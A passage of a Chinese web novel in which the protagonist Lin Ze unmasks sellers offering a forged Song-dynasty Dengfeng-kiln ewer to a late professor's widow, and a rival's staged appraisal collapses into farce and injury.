“林泽,你什么时候在文物方面有研究的?” 她问话的声音没有任何敌意,之前的不愉快仿佛从来没有发生过。 林泽摇摇头。 “唐总,您过奖了,我只不过是说一些个人见解,研究称不上。” “你之前喜欢看文物方面的书?” 唐若涵又问。 前一刻。 林泽还想着找一个怎样的理由,没想到,唐若涵竟然给了他提示。 林泽自然会顺着这话说下去。 “以前曾经看过,也记住了一些。” “原来是这样。” 唐若涵恍然大悟,接着又露出若有所思的表情。 “文物跟文化遗产一样,是我们国家的血脉,保护文物,是我们每个人的责任,也是我们对历史的尊重。” “任何一件文物都不是孤立的,都是有血肉的,那是历史的传承。” “它们经历风雨流传至今,我们更要细心呵护。” 这一番话,唐若涵像是在说给林泽听,又像是在自言自语。 林泽目光当中闪过一丝复杂。 唐若涵说的这番话,挺正气的。 想到文物,林泽自然联想到赵明来教授,而唐若涵又是赵教授的学生,林泽便不自觉地发问。 “唐总,这些是赵教授的观点?” 唐若涵脸上神情有所缓和,“也不全是,有师傅的意思,其中也有一些我个人的想法。” 接下来。 两个人都没再开口。 林泽记起。 这应该是三年以来,唐若涵如此和颜悦色地跟自己说话,还真是第一次。 手机铃声再次响起。 唐若涵调整成静音模式,接着重新看向窗外。 越是临近师母的住处,唐若涵的心情也越发沉重。 无形的压力,一点点袭来。 现在。 师母应该已经等急了吧? 心中刚闪过这个想法,唐若涵的思绪就被一阵警笛声打乱。 很快。 一辆警车跟他们并排行驶。 “唐总,是张军,我打个招呼。” 唐若涵点点头。 林泽这才降下玻璃。 “老林,我先走一步,一会儿咱们到地方见!” 张军的窗户打开着,一只手按着方向盘,另外一只手摇晃着跟林泽打招呼。 嘴上叼着半支烟。 “知道了,一会儿见!”说完林泽又嘱咐,“你开慢点,注意安全。” “收到,收到,走了!” 话音未落,张军开着的警车已经冲向前方。 摇上车窗,林泽继续平稳驾驶。 “这个张队,好像每次见他,他都在抽烟。” 唐若涵小声地说了一句。 林泽笑笑,“做警察,多半都是烟不离手的,用张军的话说,那是职业习惯。” 唐若涵没接上话茬,却上下打量了一下林泽。 还好。 林泽烟瘾没有那么大。 第一卷 第57章 男小三还吃醋?吃屁去! 很快。 唐若涵刻意扭头。 怎么回事? 刚才,她竟然拿林泽跟其他人对比起来,而且这还是在不自觉的状态下。 这种轻微的变化又让唐若涵一阵不自然。 与此同时。 几个穿着考究的人正在走进赵家别墅的院子。 吴庸首当其冲。 跟往日一样,吴庸一身高定西装,精神抖擞,步伐沉稳。 他面无表情,插进裤兜的双手时不时地攥紧一下。 尽管脸上表现得无比自信,可脑子里,却一直闪过唐若涵的面孔。 唐若涵提前挂断他的电话,这不正常! 还有。 一路上吴庸都在想,唐若涵嘴里所说的“我们”到底是谁? 难不成,真的是林泽? 依照唐若涵正直的性格,怎么可能跟勒索犯走得那么近? 除非,唐若涵不相信自己所说。 可昨天,那一番话明明天衣无缝,找不出任何漏洞…… 如此思考过后,吴庸眉毛不由得皱成一团。 “吴先生,您可来了,欢迎欢迎!” 一道兴奋的声音传出。 吴庸瞬间收回思绪。 重新抬眼,他已经恢复之前平静的表情。 “周助理,你好。” “吴先生好,快请进!” 周平方微微弯腰,伸手做了一个请的姿势。 吴庸点点头,脚步又加快一些。 身后,几个穿着黑色西装的人,也迅速跟上。 等所有人都跨进屋子,周平方朝书房的方向喊了一声。 “师母,吴先生来了!” 话音落后。 周平方熟练地拿起茶壶,亲自给吴庸倒了一杯茶。 “吴先生,您喝茶。” “谢谢!” 两个人正在说话之际,一阵脚步声传来。 很快。 吴庸便看到赵明来的遗孀,赵夫人。 吴庸赶紧起身,把茶杯放到一旁,“师母,这几天,您过得怎么样?身体还好吧?” 老太太勉强露出一丝笑容,伸手拢了一下鬓边的头发,声音依旧嘶哑。 “不用担心,我能想得开,你师傅还有很多事情没有完成,我要帮他实现心愿。” 话音落后。 周平方走到老太太身边,惋惜的声音当中带着一丝坚定。 “师母,师傅不在了,还有我们呢,他的精神还有思想,都会通过我们传承下去。” 老太太看看吴庸,又看看周平方。 “你们都是好孩子,老赵有你们这样的徒弟,他也应该感到欣慰。” 周平方和吴庸相互看了一眼,两个人都没有说话。 这时。 老太太将目光放在吴庸身后的几个人身上,“这是你的团队人员?” “对,”吴庸一脸自豪,“师母,这些人都有丰富的经验,是我专门带过来鉴定那个老物件的。” 看到面前的几个人西装革履,统一地戴着白手套,老太太的心也微微放下了一些。 “好,那一会儿就麻烦你们了。” “师母,咱们什么时候开始,您是在等唐小姐?” 周平方看似不经意地问了一句。 老太太看向门口。 “小涵跟林泽他们,应该快到了。” 此话一出。 吴庸眼眸一震。 看来自己想的没有错,唐若涵的确跟林泽在一起! 旁边。 周平方的脸上也闪过不可置信的神情。 “师母,林先生也要来吗?” 剩下的话。 周平方没有问出来。 唐若涵是赵明来的得意学生,她来这里无可厚非。 可是,林泽为什么也要来?他根本没必要过来啊! 没等周平方反应过来,老太太已经回答道:“是啊,我邀请了林先生,还有张队长。” “警察局的……张军?” 周平方声音陡然拔高,整个人都有些失态。 怎么回事? 来一个跟他们唱反调的林泽也就算了,怎么还把警察也弄过来了? 之前,他跟张军见过几面。 他一看就不是好惹的主! 况且还是……警察! “咳咳咳。” 吴庸看似不经意地咳嗽了两声,眼睛朝周平方那边看了看。 周平方迅速调整情绪,可声音还是略有些不自然。 “师母,咱们就是买个东西,合适就买,不合适就让他们走,这怎么还把警察叫过来了?” 老太太迎上周平方的目光,“不合适吗?” “没有不合适,我就是觉得,师傅刚走不久,现在警察又来咱们这里,我担心人们多想,毕竟,前一阵子的事情闹出很多风言风语。” 周平方详细地解释了一下。 老太太脸上的神情有所缓和。 “不会的,老赵的事情已经过去了,在没有查清楚真相以前,人们都会有一些猜测,现在水落石出,自然就尘埃落定了。” “师母说得对,是我多想了,我不应该这么说,师母您别生气。” 周平方语气谦和,脸上露出一丝歉意。 “你也是为你师傅着想,我生什么气呢,你们都是好孩子。” 正说话的功夫,外面响起敲门的声音。 周平方赶紧去开门。 很快。 张军走进来。 “赵夫人,我没来晚吧?” 还没站稳身体,张军便一边打量屋子里的人一边开口打招呼。 老太太笑着迎上去。 “不晚,小涵跟林先生还没有到,张队长,您先坐下喝杯茶。” 张军一愣,接着对着老太太咧咧嘴,笑着说道:“赵夫人呀,我可不能跟他们比,人家小两口正腻歪着呢,晚会到也很正常。” 话音落后,张军特意看了一下吴庸。 果然。 吴庸的脸瞬间拉下来。 张军挑眉毛之际,眼神当中是掩饰不住的得意。 你个男小三,还吃醋?吃屁去! “您坐吧。” 赵夫人指了一下旁边的沙发。 张军也不客气,当场坐下来。 周平方像刚才一样打招呼倒茶。 吴庸的目光却一直看向门口处。 昨天发生了那么大的事,仅仅一晚上,唐若涵就跟林泽和好了吗? 张军跟林泽关系匪浅,他嘴里所说的腻歪,到底有几个意思? 昨天晚上两个人睡晚了,早晨起不来? 还是? 他俩在车上卿卿我我? 瞬间! 吴庸的喉结动了好几下。 刚才电话没打完,唐若涵就挂断电话。 她跟林泽到底在干什么? 一时间。 吴庸感觉心口像压了一块石头,又沉又闷。 连喘气都变得困难。 不知不觉中。 握紧的拳头,再次加大力道,手背上也跟着暴起几道青筋。 “咚咚咚!” 敲门声传来,紧接着,是唐若涵温婉知性的声音。 “师母,我们来了,您开一下门。” 第一卷 第58章 目标……来了! 唐若涵的声音传来。 张军和吴庸同时看向门口。 老太太亲自去开门。 很快。 唐若涵和林泽相继走进房间。 吴庸先是看了看唐若涵,接着将目光放在林泽的身上。 林泽穿戴的并不考究,身上也整整齐齐。 就连头发,也没有蓬松凌乱的样子。 再看唐若涵。 面容精致,除了略显倦意,并没有看出什么其他的不妥。 吴庸悄悄松下一口气。 他们……刚才应该没有做什么不合时宜的事情。 吴庸正在分神之际。 唐若涵已经跟赵夫人打过了招呼。 “师母,既然人已经来齐了,那,我打电话联系一下?” 周平方神情恭敬,声音当中充满询问。 赵夫人点头嗯了一声。 接着,周平方转身去打电话了。 “应该是从家里见面吧,毕竟现在有这么多人,真要去什么其他的地方,看着挺兴师动众的。” 吴庸像是不经意间的问话。 眼睛却特意看了看林泽跟张军。 意思非常明显。 他们两个是无关紧要的人。 现在过来,除了凑个人数以外,唯一能做的就是摆设。 林泽没有理会他。 经过几件事以后,林泽也彻底看清吴庸的嘴脸。 这样的畜生,跟他多说一个字都是浪费! 张军却不同。 吴庸话音刚落,张军当即回怼。 “说得没错,不过就是一个文物鉴定,你怎么还带这么多人来,该不会是觉得你手底下的人不专业吧?经验不够,数量来凑?” 吴庸的脸色刷的一下子拉下来。 “张警官,你的一张嘴可够犀利的,毕竟这么大的事情,我觉得多带一些人过来,还保险些……” 吴庸的话只说了一遍,便再一次被张军打断。 “归根到底,还是心里没底,不行还找那么多借口,丑人多作怪!” 吴庸被怼得面赤耳红。 无奈之下,只好再一次握紧拳头。 看到吴庸哑口无言的样子,张军心里这才舒坦一些。 昨天。 虽然林泽跟吴庸动了手,可这货冤枉林泽,张军当场就想给他一个耳光。 可想到自己是警察,张军硬生生地把那口气咽下去。 偏偏事情还没有处理完毕,唐若涵又带着吴庸去医院了。 这不明摆着丢下林泽了吗? 身为警察,即便张军跟林泽的关系再好,他也不能给林泽做保释。 所以南希打电话时,张军直接同意了她的提议。 让南希做保释人。 林泽这才离开。 心里憋着一口气,张军一夜都没睡好。 今天有机会跟吴庸交锋,他自然寸步不让! 林泽跟唐若涵的关系好不好放在一旁,光是看这男小三的恶心样,张军就一肚子的火。 “师母,他们已经在路上了,说用不了几分钟就到。” 周平方走过来,轻声说了一句。 林泽抬眸。 几乎是出于本能的审视周平方。 跟张军在一块的时间长了,多多少少也染上了一些他的习惯。 比如抽烟。 比如,在路上走着,他会不自然地看迎面人的着装,行为以及面部表情。 就像现在。 在别人看来,周平方的这一句话说得很平常。 可林泽却感觉到不对劲。 刚才说话时,他的眼神闪烁了一下。 这是明显心虚的微动作。 突然。 张军突兀的声音传来。 “周助理,你好像跟那些人很熟?” 周平方一愣,接着摇头。 “张警官,我跟他们谈不上熟,就是之前跟他们见过几次面,都是跟师傅一块儿去的。” 周平方回答得很认真,脸上表情也很平常。 老太太走过来,帮着周平方说话。 “以前老赵在世的时候,经常带着小周出差,小周跟着老赵也有五六年了。” “原来是这样,怪不得我觉得周助理对你们很熟悉。” 张军话音落后,老太太笑着说了句,“在我跟老赵看来,小周就像我们的孩子一样。” 张军笑笑没说话。 屋子里再一次变得安静。 林泽跟张军并排坐着,唐若涵跟林泽保持了些许距离,却也是坐在一排。 此刻,吴庸正在唐若涵的对面。 有好几次,吴庸想坐在唐若涵身边,可又找不到合适的借口,最终只得作罢。 几分钟后。 外面果然响起敲门的声音。 周平方亲自去开门。 紧接着。 两个中年男子相继进入。 他们穿着都很普通,其中一个个子稍高些的,戴了黑色的鸭舌帽。 矮个子的那个,手里拿着个行李包。 心里包鼓鼓囊囊的,根据他手上的力道来判断,包里装的东西并不沉。 这是林泽对眼前这两个人的初步印象。 “张哥,过来了,进来吧!” 周平方看了看戴着鸭舌帽的男人,侧了一下身,示意他们到客厅。 看到屋子里有不少人,张哥微微皱眉,却没有说什么。 周平方伸手指了一下赵夫人。 “张哥,这是赵教授的夫人,我的师母。” 随后,他又分别指了指吴庸和唐若涵。 “这两位是赵教授器重的学生。” “这位吴先生,他也在文物界有自己的公司,身后的这些人是专业鉴定人员。” 张哥跟随行的人点点头,算是跟他们打过了招呼。 当看向林泽和将军的时候,周平方特意在脸上挤出些笑容。 “这两位,是师母的朋友,这位张队长在警局工作。” 此话一出。 拎包男子的手轻微地抖了一下,接着又把包向上提了提。 这时。 老太太走过来。 “麻烦你们专门过来跑一趟,真是辛苦了,今天大家都在,我就想着,成与不成的,今天把事情定下来。” “好的,赵夫人,那我们现在就……开始?” 张哥声音低沉,脸上没有什么表情。 老太太还没开口说话,吴庸已经上前一步。 “那就开始吧,先把你们的物件拿出来,我让专业团队人员鉴定一下,如果没有什么问题,就走交易流程。” 言毕。 吴庸抬手,勾了勾食指。 旁边的几个工作人员同时向前迈出一步。 步伐整齐,动作利索。 张军挪了一小步,凑在林泽耳朵边上嘀咕了一句。 “这是专业鉴定人员吗?我怎么看着跟保镖似的?” “看看再说。” 林泽并没有当场下结论。 此刻。 他的目光一直停在矮个子男人的背包上面。 如果猜得没错。 他们所谓的登封窑白釉提花执壶,很快就要拿出来了。 同时。 林泽也产生了一丝好奇。 真的已经不在了。 假的……能仿到什么程度? “呲啦——” 矮个子男人手捏拉链,当场把提包打开了一道缝。 入眼处。 是一团厚厚的……报纸! 第一卷 第59章 三次张口,三次说“错” 登封窑白釉剔花之壶还未露头,吴庸身后的几个人便凑过来。 原本地方就不大,再加上张军唐若涵等人也站起身。 顷刻之间。 众人便把茶几围了一圈。 那人小心翼翼地伸进手去,接着把报纸掏出,一层层地打开。 听着报纸发出的声响,众人的心也跟着往上提。 老太太神情紧张,眼睛都舍不得多眨一下。 相比之下。 周平方倒是显得自然了很多。 他站在老太太身后,脸上没有什么表情,手,却悄悄地捏了捏。 这微小的动作,再次被林泽看得仔仔细细。 “大家小心一些,这东西金贵,在这世上,可是独一无二的。” 矮个子男人压低声音提醒了一句。 他的普通话当中夹杂着地方口音,如果不仔细听,根本分辨不出来。 林泽微微皱眉。 这声音。 好像从哪听过? 可是,一时间竟然想不起来。 这时。 七八层报纸被打开。 一件白釉剔花执壶便展现在众人面前。 “啊,这就是师傅嘴里说着老物件?看起来挺有年代感的,这里多少年了?” 吴庸声音当中充满惊讶。 虽然是喃喃自语,可众人把他的话听得清清楚楚。 周平方在一旁解释。 “这件登封窑白釉剔花执壶,据现在应该有900-1000年,是有不少年份的。” 吴庸倒吸一口凉气。 “太震撼了,没有想到,这件物品竟能流传千年之久,文化长河真的是经久不衰。” “当初老赵在世的时候,也经常这样讲。” 老太太开口时,声音已经变得哽咽。 “是啊,每次看到这种时间跨度很长的文物,我都有一种想哭的冲动。” 吴庸微微仰起头,像是在努力平复内心的震撼。 “这件物品多少钱?” 众人一愣。 瞬间。 几道目光齐刷刷地落在林泽这边。 吴庸还在酝酿气氛,林泽已经开始问多少钱了。 感觉突兀的同时,吴庸心中又是一阵恼火。 这个林泽,还真是时时刻刻处处都在刷存在感! 对面。 张哥跟他的同伴也感觉有些意外。 “价钱之前是谈好了的,350万。” “赵教授的事情我们也听说了,也感觉挺惋惜。” “这样吧,我说个底价,便宜20万,330万成交!” 说话的是张哥,声音不缓,不急。 “师母,您看这个价钱能接受吗?之前师傅跟他们谈的时候,这价钱一直没有变过,现在家里出了这样的事,他们能给便宜20万,也算可以了。” 周平方在老太太旁边,小声地说了一句。 老太太看着面前的物件,目光最终落在林泽的身上。 “这……是不是要看看?” “师母,您说的是鉴定吧,人我都带过来了,咱们现在就开始!” 没等林泽开口说话。 吴庸又上前一步,说话的声音都提高了很多。 看到这个情形,老太太只好说道:“那,你们就先给看看吧。” “好,不过咱们先让开些,把地方腾给专业人员,等成交了以后咱们再仔细看也不迟,毕竟咱们是外行。” 在这种情况下,吴庸的话挑不出任何毛病。 众人也跟着向后退了一步。 三个穿着黑色西服的工作人员,当场拿出放大镜,手电筒,铜卡尺以及一些相关工具。 看到这些专业设备,吴庸嘴角露出一丝得意。 人带来了,工具也带来了。 谁还敢说不专业? 站在最前面的人紧了紧白手套,随即打开手电筒。 这时。 吴庸清了清嗓子。 “瓷器的鉴定,也不过几点,每个朝代生产出来的瓷器形状不一样,纹路也不相同。” “他们都是有各自特点的,大多数都是标准的器型,纹路也大致相同。” “但仔细辨别瓷器的真伪,肯定是要看底胎,还有上面的釉。” “纹饰,平常人只要用功都能够看得出来,但是底胎还有釉,就需要专业人员了。” 说到这里。 吴庸专门顿了一下。 似乎想要欣赏众人目光当中的仰慕。 可发现没有人朝他这边看,脸上瞬间尴尬起来。 林泽和唐若涵,正在看茶几上的登封窑白釉剔花执壶。 周平方正在看张哥他们。 而老太太,则是用手抚着额头,不知道在想什么。 这情形。 想不尴尬都难。 说了半天,感情没有人在他这个频道上。 为了缓解尴尬。 吴庸再次开口。 “所以,这个瓷器鉴定……” 话只说到一半,张军直接甩出一句话,“行了,别逼逼赖赖的,这又不是电视节目,解说个啥?” “你……” 吴庸张张嘴,最终还是一句话也说不出来。 做警察的,只要面对的不是犯人,难道不都应该谦逊礼让?可这个张军,嘴里像叼着地雷,张嘴就冒火! 压下心中这口闷气,吴庸紧皱着眉头。 时间一点点过去。 那些专业人员已经围着茶几走了好几圈。 手电筒,铜卡尺,放大镜等工具,也全都用了一个遍。 最后众人相互看了一眼,互相点头。 “吴总,根据我们的鉴定,这件登封窑白釉剔花执壶,是真品。” 说完。 几个人同时退向一旁。 张哥脸上的神情有所舒缓,活动了一下手腕,低沉的声音再次传来。 “好货不怕验,真的就是真的,这一点,我们没有必要骗人。” “当初没有谈妥,还是因为价格的原因。” “只是没有想到赵教授出了这样的事,这也就成了遗憾,如果我们能提前得知,这20万,说什么也得降下去。” 矮个子男人没有说话,却跟着点了点头。 这时。 不少人都看向老太太。 可老太太丝毫没有理会众人的目光,而是重新看向林泽那边。 “林先生,您有没有要说的?” 林泽抬眸,对着老太太微微点头,“赵夫人,我能不能问几个问题?” “好,您请问。” 老太太非常客气。 林泽抬脚,周平方顺势退到一旁。 这样一来,林泽跟张哥的目光便能直视。 “张先生,您这件物品,是从哪儿来的?” 张哥一愣。 “小兄弟,这话你最好别问,问了,也不见得能够得到真正的答案,这是我们的规矩。” “好,”林泽语气加快,“那你能不能说说,凭什么说眼前这些东西是真的?” 吴庸脸一黑。 “林泽,鉴定人员都给出结果了,难道你不信?” 林泽连看都没有看吴庸,继续盯着张哥。 “你说。” 张哥眉头皱成一个疙瘩。 “这件登封窑白釉剔花执壶,是我祖上传下来的,传了多少年我也不清楚了,这是我们家的传家宝。” “错!” “我说是就是,我祖上是当官的,是这剔花执壶有点瑕疵,皇宫里头的人不要了,我的先祖冒着生命危险,才把东西留下来。” “错!” “如果不是遇到了难处,我们也不会把东西卖出去,最终选择的买主是赵教授,也是以敬佩赵教授的为人!” “错!” 林泽三次张口,三次说“错!” 张哥满脸通红,眼珠子瞪圆! 吴庸咬牙切齿,最终从喉咙里挤出一句。 “林泽,你这是跟谁过不去,你是不是诚心的!” 第一卷 第60章 我知道你是谁! “我只是实话实说,怎么就成了跟谁过不去了?” “把假的说成真的,就如了谁的意?” “赵教授已经走了,收藏登封窑白釉剔花执壶是他的遗愿,但不包括被骗!” “你们用几个放大镜比画一下,就说这是真的,这是想趁着赵教授不在了骗赵夫人,是不是?” 林泽说话的声音并不大,可是,每一句话的威力都如同晴天霹雳! 吴庸目瞪口呆,瞬间僵在原地。 而之前的张哥,也早已经被林泽所说的三个“错”给唬住。 这个时候,早已经忘记了反驳。 面对林泽的这一番回怼,张军真想拍手叫好。 林泽懂不懂文物,张军不清楚,但是张军却清楚林泽的为人。 他说这是假的,那就肯定不是真的! 这时。 老太太脸上露出疑惑的表情。 找林泽来,就是想更确切地验一下这个老物件的真伪。 但现在局面,好像又回到了最初的起点。 周平方和吴庸他们认为,这件宋代的文物是真的。 林泽认为是假的。 可到底谁对谁错,老太太也不知道该相信谁。 “若涵,你怎么看?” 无奈之下。 老太太只好向唐若涵求助。 面对眼下情形,唐若涵的眉头早就皱成一团。 更让唐若涵震惊的是,林泽的气势。 刚才他身上所散发出来的那一种压迫感,几乎让人喘不过气。 那一身正气,让人无从反驳。 难道。 面前的这件登封窑白釉剔花执壶真的是……赝品? “师母,这个,我不好说,因为我也不太懂。” 如果说是真的,林泽为什么会那么气愤? 整件事情当中,林泽可以说是一个局外人,他完全没有必要去搞这种破坏。 可要说是假的,好像也有些说不过去。 吴庸已经带着专业人员过来,而且还鉴定了那么久。 好几个人一块得出的结论,就被林泽的几句话推翻,这似乎也不太可能。 突然。 唐若涵脑子里闪过一个想法。 如果说林泽说的是真的。 那……究竟是谁想欺骗师母? 周平方?还是……吴庸? 唐若涵不敢继续往下想,几乎是本能的低下头。 如果这真的是一个计谋,那已经不是钱的事,而是人品的问题了! “你这小子,你这是故意的是不是?想要干什么你明说,别拐弯抹角,我这东西,我保证,你刚才说的那些话有什么证据?” 张哥缓过神,眼睛里都要喷出火来。 他话音落后。 旁边的矮个子,突然也跟着梗起脖子。 “就是,你说那话,有什么证据!” “你们手里的东西不是真品,这就是证据!” 林泽义正言辞,直接迎上矮个子的目光。 矮个子牙齿咬得咯咯响。 灰色夹克领上的拉链头,也跟随胸脯的起伏一上一下。 可见。 矮个子已经完全动怒。 这时。 周平方突然上前,伸手做了一个让大家消消气的动作。 “各位,都先稍安勿躁,咱们今天过来是谈交易的,不是吵架的。” “你们手里的东西是宋代珍品,而我们要买下来也要花不少钱,这跟买菜买衣服不一样,写完了可以扔了,咱得认真考虑考虑。” “我师母让这么多人过来,也是为了图个放心。” 说到这里。 周平方特意看了看林泽,随后接着向张哥他们赔不是。 “张哥,林先生之前跟赵教授并不熟,他是一个外行,话有说得不对的地方,你们不要往心里去,先坐下,坐下说话。” 表面上看。 周平方是在劝架。 可是,若仔细分析,谁都能够听得出来,周平方是偏向张哥他们那一边的。 把林泽说成是一个外行,分明就是在讲,林泽所说的那些话无关紧要。 无形当中。 周平方已经表明了立场。 同时也给老太太一种假象,林泽跟赵教授没有矫情,他说的话,完全没有必要做考究。 如此一说,吴庸似乎找到了突破口。 “没错,我跟小涵是赵教授的学生,小周是赵教授的助理,我身后的这些人是专业鉴定人员。” “我们所有人得出的结论,都认为这件宋代珍品是真的。” “他一个外行人,说假就是假吗?理由根本不充分!” 眼看着吴庸和周平方两个人站到了同一条战线上,张军有些着急。 可这个时候,他却不知道该怎么帮忙。 文物,他不懂啊! 现在总不能抬出是警察的身份,把人给弄走吧! 张军揉了揉脑门,伸手掏出一盒烟,想了想,又重新放回口袋里。 老林,你倒是说句话,这局怎么破? “正因为我是外行人,所以我才说真话,你们自称为是内行人,所看到的也不见得是真的。” 林泽话里有话。 并且依旧坚持刚才的观点。 “林泽,你要是真心实意地想看一下,我们不说什么!” “可你要是来捣乱的,我奉劝你马上离开!” 吴庸抬手,手指直接指向林泽。 “啪!” 一声脆响。 林泽直接把吴庸的胳膊扒拉到一旁! 声音也跟着清晰起来。 “登封窑白釉起源于隋唐,窑址,中岳嵩山的山脚下。” “地理位置得天独厚,当时陶瓷燃料和原料,都由此提供。” “到达宋代,技艺精湛至顶峰,不仅民间盛行,更成为了北宋的贡窑。” “制作工艺,先拉坯后成型,施上白色的化妆土,胚体细腻洁白之后,再做图案!” 几句话过后。 在场的人全都目瞪口呆。 吴庸更是惊愕至极。 使劲地咽了一口口水,这才问,“你……说这些干嘛,你又不是烧窑的?” 林泽冷哼。 当场伸手指向茶几上的赝品。 “登封窑成品的釉面光滑,色泽光亮,白色为底,是以赭褐色的纹饰,赭白形成鲜明对比。” “而眼前这个,釉面虽然光滑,但色泽昏暗,很明显入窑温度不够。” “再者,宋代的登封窑胚体上刻画工具,绝对可不呈眼前的纹样!” “说白了,用的工具不对!” 屋子里鸦雀无声。 众人看着林泽重新坐到沙发上。 这两天,每次进入梦境以后,林泽看的都是关于登封窑白釉的文物档案。 对于登封窑的烧制以及特点,早已经铭记于心。 说出这番话,几乎轻而易举。 短暂沉默过后。 唐若涵突然上前一步,抓住林泽的胳膊。 “林泽,眼前这东西是假的,对吗?” “对。” 没有理会唐若涵一样的举动,林泽缓缓说出一个字。 突然。 矮个子大喊一声! “臭小子,你找死,这话你都敢说!” 此话一出。 林泽眼眸瞬间收紧! 记起来了! 怪不得刚才听着矮个子的声音有些熟,现在,终于知道他是谁了! 林泽走向矮个子,目光当中闪过一丝凌厉。 “我知道你是谁!” 第一卷 第61章 吴总,你的屁股流血了! 说话瞬间。 林泽脑海当中闪过另外一句话。 “疯婆娘,你找死,这他妈你都敢动!” 如果不是同样的语气,同样的音调。 他还真不好确定! 档案里,那个五大三粗,四方脸,小眼睛的男人,就是眼前这个矮个子! 准确无疑! 对面。 矮个子向后退了一步,声音打着颤。 “你胡说什么,我根本不认识你,你怎么能知道我?” 林泽没有回答他的问题,继续开口。 “胡说八道,哪天让你饿着了,吃花生豆喝酒,委屈你了?” “等到哪天来懂行的了,一准能够收走。” 说到最后一句。 林泽声音无比清晰。 “疯婆娘,你找死,这……他妈你都敢动!” 话音未落。 “扑通”一声。 矮个子一屁股坐在地上,目光当中充满惊恐。 “你……到底是谁?” 矮个子脑袋嗡嗡作响,使劲地咬着嘴唇。 那天晚上的风,仿佛又刮起来。 半塌的房屋,摇摆不定的窗户扇子。 就连一脚踩在杂草上发出的响声,仿佛都回响在耳边。 矮个子不停地咽口水。 喉结也跟着一起动。 可脸上的惊恐神情,却越来越浓。 那天晚上发生的事,除了自己跟相好的那个婆娘以外,再也没有人知晓。 可是。 眼前这人。 为什么能够知道得如此清楚? 就连当时自己所说的话,都能被他完整的说出来! 他是谁? 他到底是谁! “我是谁不重要,重要的是,真正的登封窑白釉剔花执壶已经毁了,面前的这一件是仿的!” 林泽声音再一次传出。 矮个子瞬间破防。 匆忙站起身,顾不得拍打身上的灰尘,直接仰起头来反驳。 “仿得怎么了,仿成这个程度,也是值钱的!让你仿,你还仿不成这样呢!” “狗子!你他妈胡说八道些什么,这是真的,什么仿的,你再胡说八道,信不信我弄死你!” 张哥冲过来,照准矮个子的脸。 啪啪就是两巴掌! 瞬间。 矮个子脸上闪过通红的巴掌印。 等冷静下来后。 矮个子呆若木鸡,整个人都傻了! 看到眼前这一幕,张军一下子放下心来。 好了。 现在有结论了! 是真是假,已经不需要再说那些专业的话术,这俩家伙自己招了! 周平方见状,一个跨步冲过去,一把抓住张哥的脖领子。 “姓张的,你这个骗子,你怎么可以骗我师傅!” “亏得我师傅那么相信你们,你们竟然这样算计他!” “我跟你们没完,今天,你们必须给我个说法!” 周平方咆哮着,一只手抓住张哥的同时,另外一只手还不停地挥舞。 好像他们之间有不共戴天的深仇大恨! 看到这种虚假的表演。 林泽微笑着摇头。 这是他们设计的环节,还是周平方想独善其身? 林泽抬眼看了看张军。 张军立刻明白怎么回事。 “行了,周助理,刚才你不还把他们夸得天上有地下无,怎么现在突然就倒戈了?” 张军的话一说出来,周平方立刻摇头。 “不不不,张队长,自始至终我都没有跟他们站在一条线上,以前之所以相信他们是因为我师傅。” “他们骗了我师傅,我是不知情的。” “我只想完成师父的遗愿,没想到,差一点上了他们的当!” 周平方着急辩驳,说话的时候,唾沫星子横飞。 不远处。 吴庸……傻了! 姓周的想洗白,那他该怎么办? 鉴定的人是自己带过来的,刚才,他们也把鉴定结果说得清清楚楚。 一口一个真的,恨不得吐个吐沫都变成钉子。 现在可好,全反过来了! 先不说是不是搬起石头砸了自己的脚。 光是眼前这一幕,就有可能让他在唐若涵心中的印象尽毁! 不行! 得赶紧想办法! 紧张之际。 吴庸眉头皱成一个疙瘩,手也跟着哆嗦起来。 短时间之内想不到完善的解决方案,以后只能是越描越黑! 无论如何。 也要保住自己在唐若涵心中的印象! 狠狠地咬了咬牙,吴庸把心一横。 转身之际,一脚踹在一个工作人员的身上! “砰!” 一声闷响传出。 工作人员立刻倒在地上。 “该死的废物,你们就是这样工作的吗?我之前怎么交代给你们的,一定要好好鉴定,必须要做到100%准确率!” “这是我师父的遗愿,你们把事情办成这个样子,这不是在打我的脸吗!” “我们鉴定机构不需要你这样的人,回去以后,马上收拾你们的铺盖卷滚蛋!” 吴庸扯着嗓子怒吼。 跟他过来的那几个人瞬间蒙圈。 几人相互看了看,脸上全都是疑惑的表情。 被踹翻在地的那个工作人员,更是愁眉苦脸。 “吴总,当初您……” “我什么!”不等那人把话说完,吴庸直接将其打断,“平日里我是怎么嘱咐你们的,这就是你的工作态度?接到师母的电话,我又仔细地叮嘱一番,你们全把我的话当成耳旁风了?” 吴庸越说越气,脸上的神情也变得狰狞。 地上的人匆忙站起来,赶紧低头道歉。 “对不起,吴总,是我们不对,我们不应该误会您的意思。” “这有什么好误会的?你们的脑袋都进了水吗!” 担心手下的人会说出什么不应该说的话,情急之下,吴庸再次动手! 这一次,他没有用脚踹。 而是抡圆了胳膊,瞬间照着对方的脸上打去! 看到情形不妙。 工作人员急忙下蹲! 于是。 吴庸直接打了一个空! 前一刻,他几乎把所有的力气都用在了胳膊上。 下一秒。 整个身体便开始不受控制。 一个趔趄过后,整个人都朝着茶几那边翻过去! “啊,吴总!” “天哪,那东西!” “草!” 各种声音几乎在同一时间传出。 同时。 伴随着“哗啦”一声响。 吴庸惨叫出声! 唐若涵惊讶地用手捂住嘴巴,紧闭眼睛转头。 老太太整个人都懵了,眼睛也开始发直。 其他人更不用讲,全都惊得说不出话。 即便是见惯了血腥场面的张军,这个时候也皱着眉头,撇了撇嘴。 唯独林泽,平静地看着这一切。 “啊!我的……啊!” 吴庸的声音当中充满绝望,两只手哆哆嗦嗦地往后摸。 比画半天,却不敢摸向屁股。 几个工作人员瞬间跑过去。 其中一个大声惊呼。 “吴总,您的屁股流血了!” 第一卷 第62章 愧疚的唐若涵。 吴庸恼羞成怒,顾不得屁股上的疼痛,当场给了那人一巴掌! “你给我……闭嘴!” 那人伸手捂着脸,声音继续磕磕绊绊。 “吴总,要不要去医院?” 一阵阵生疼从屁股的方向传来,吴庸狠狠地咬着后牙槽。 此刻,他无法想象自己的样子有多狼狈。 这若是放在其他场合也就算了。 偏偏是在唐若涵的眼皮子底下! 今天,他的脸算是丢尽了! 艰难地挪动了两步,吴庸拿起手机。 刚想翻找电话号码,矮个子突然冲上前来,一把将吴庸的手机打掉。 “把我的剔花执壶给弄坏了,想走,没那么容易!你得赔!” 吴庸心中正没好气,偏又遇上一个讨债地,心中的火气瞬间达到顶点。 “我赔你祖宗!就你这破烂货,根本不是真的,你还想讹我钱,没门!” “就算我这是假的,那也是值钱的,要弄成这个样子得花多少钱你知道吗,今天不赔钱,这件事情完不了!” 